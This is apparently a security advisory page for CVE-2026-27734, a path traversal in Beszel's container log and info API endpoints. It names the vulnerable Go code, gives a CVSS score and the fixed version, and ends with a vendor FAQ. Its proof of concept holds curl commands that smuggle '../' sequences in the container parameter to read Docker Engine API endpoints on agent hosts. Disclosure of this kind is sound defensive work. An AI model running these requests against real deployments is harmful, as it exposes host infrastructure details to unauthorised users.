CVE-2026-27734

The hub's authenticated API endpoints GET /api/beszel/containers/logs and GET /api/beszel/containers/info pass the user-supplied "container" query parameter to the agent without validation. The agent constructs Docker Engine API URLs using fmt.Sprintf with the raw value instead of url.PathEscape(). Since Go's http.Client does not sanitize ../ sequences from URL paths sent over unix sockets, an authenticated user (including readonly role) can traverse to arbitrary Docker API endpoints on agent hosts, exposing sensitive infrastructure details.

Details

Hub (internal/hub/hub.go:407-426): containerID from query param is only checked for emptiness, no format validation:

containerID := e.Request.URL.Query().Get("container")
if systemID == "" || containerID == "" { ... }
data, err := fetchFunc(system, containerID)  // passed directly to agent

Agent (agent/docker.go:651-652 and 682-683): raw containerID interpolated into Docker API URL:

endpoint := fmt.Sprintf("http://localhost/containers/%s/json", containerID)
endpoint := fmt.Sprintf("http://localhost/containers/%s/logs?stdout=1&stderr=1&tail=%d", containerID, dockerLogsTail)

Go's http.Client preserves ../ in paths over unix sockets (verified with test code). The Docker daemon resolves them via cleanPath, routing the request to unintended API endpoints.

PoC

Tested on Beszel v0.18.3 with hub and agent running in Docker (host network mode).

# Authenticate
TOKEN=$(curl -s -X POST "http://localhost:8090/api/collections/users/auth-with-password" \
  -H "Content-Type: application/json" \
  -d '{"identity":"[email protected]","password":"password"}' | jq -r '.token')

SYSTEM="<system_id>"

# Path traversal: Docker version (returns full engine version, kernel, Go version)
curl -s "http://localhost:8090/api/beszel/containers/info?system=$SYSTEM&container=../../version?x=" \
  -H "Authorization: Bearer $TOKEN"

# Path traversal: Docker system info (returns hostname, OS, container count, network config)
curl -s "http://localhost:8090/api/beszel/containers/info?system=$SYSTEM&container=../../info?x=" \
  -H "Authorization: Bearer $TOKEN"

# Path traversal: List all images (triggers unmarshal error confirming traversal works)
curl -s "http://localhost:8090/api/beszel/containers/info?system=$SYSTEM&container=../images/json?x=" \
  -H "Authorization: Bearer $TOKEN"

All three requests returned real data from the Docker Engine API on the agent host.

Researcher

Sergio Cabrera
https://www.linkedin.com/in/sergio-cabrera-878766239/

Any authenticated user (including readonly role) can read arbitrary Docker Engine API GET endpoints on all connected agent hosts. Exposed information includes: hostname, OS version, kernel version, Docker version, container inventory, image list, network topology, storage driver configuration, and security options. This is a privilege escalation, readonly users should not have access to host-level infrastructure details.

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2026-27734 has a CVSS score of 6.5 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.18.4); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-27734? CVE-2026-27734 is a medium-severity path traversal vulnerability in github.com/henrygd/beszel (go), affecting versions <= 0.18.3. It is fixed in 0.18.4. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
2. How severe is CVE-2026-27734? CVE-2026-27734 has a CVSS score of 6.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/henrygd/beszel are affected by CVE-2026-27734? github.com/henrygd/beszel (go) versions <= 0.18.3 is affected.
4. Is there a fix for CVE-2026-27734? Yes. CVE-2026-27734 is fixed in 0.18.4. Upgrade to this version or later.
5. Is CVE-2026-27734 exploitable, and should I be worried? Whether CVE-2026-27734 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-27734 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-27734? Upgrade github.com/henrygd/beszel to 0.18.4 or later.